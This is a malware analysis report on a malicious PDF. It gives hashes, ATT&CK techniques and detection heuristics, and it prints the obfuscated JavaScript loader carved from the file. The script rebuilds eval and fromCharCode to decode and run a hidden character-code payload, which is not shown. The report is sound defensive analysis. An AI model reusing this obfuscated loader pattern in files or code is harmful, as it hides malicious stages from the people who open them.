Malicious PDF — malware analysis report

Static analysis result for SHA-256 f976c753483c2fc6…

MALICIOUS

PDF

44.7 KB Authoring application: substr First seen: 2026-05-08
MD5: 441dd672fc8613b8441f42564b8d8d4c SHA-1: 21f431a8bae07133a4b19e9d58a8ce5a0f97e52f SHA-256: f976c753483c2fc609a22a35f47c678ff2416c2520694eeb8cdf01804729a2fb
86 Risk Score

Malware Insights

MITRE ATT&CK
T1059.007 JavaScript T1566.001 Spearphishing Attachment

The PDF contains obfuscated JavaScript, identified by multiple heuristics as a loader. The script reconstructs a string, which is then evaluated, likely to download and execute a second-stage payload. The ML classifier strongly indicates maliciousness. The specific obfuscation and loader technique suggest a downloader, but without further stages, the exact family remains unknown.

Machine Learning

  • Nyx PDF Classifier malicious score 1.0000

Heuristics 3

  • Obfuscated Pidief-style JavaScript loader (stage not decoded) high CVE related PDF_PIDIEF_OBFUSCATED_VERSION_GATED_LOADER
    PDF JavaScript carries a large opaque encoded stage (a letter-delimited numeric character-code array) that is built to be decoded and eval'd, but no exact Adobe Reader CVE could be attributed because the encoding scheme resisted full static decoding. This is the structural fingerprint of the Pidief / multi-CVE exploit-kit loader family — a version-gated obfuscated JavaScript stage with no benign use. Flagged suspicious on its own; an ML/AV signal or a recovered heap-spray pushes it to malicious.
  • JavaScript action low 1 related finding PDF_JAVASCRIPT
    PDF contains a /JavaScript action. Generic JavaScript is common in benign forms; specific dangerous APIs are scored by separate rules.
  • Embedded JS stream low PDF_JS
    PDF references a /JS stream. Generic JavaScript is common in benign forms; specific dangerous APIs are scored by separate rules.

Extracted artifacts 1

Files carved from inside the sample during analysis.

FilenameKindSourceSize
javascript_obj0001_000.js pdf-javascript-stream PDF /JS object 1 at offset 0xB00E 444 bytes
SHA-256: fd9f45e20e5d68fbae69d7db0ca006ac625ea2fad6832e82cbb0e80bd1ecc6c7
Preview script
First 1,000 lines of the extracted script
s2='';
v=producer;
t='le';
b='v';
a="e".concat("a","n","b","w",b,"o");
s=a[0].concat(b,a[1],t[0]);
e=v[v]()[s];
uzfh=e('ti'.concat(v[4],t));
q=uzfh[v](a.length-6,a.length+2);
vimsa=e(v[0].toUpperCase().concat(v[4],'ring.f',q[4],a[6],q));
q=uzfh[v](t.length+12)[e(v[0]+'ubjec'+v[4])]('c');
k=q['len'.concat('gth')];
i=0;
while(i!=k){
	wde = 1*(q[i]);
	i++;
	wde -= (-1)*(q[i]);
	s2 = s2.concat(vimsa(wde));
	i++;
}
e(s2);

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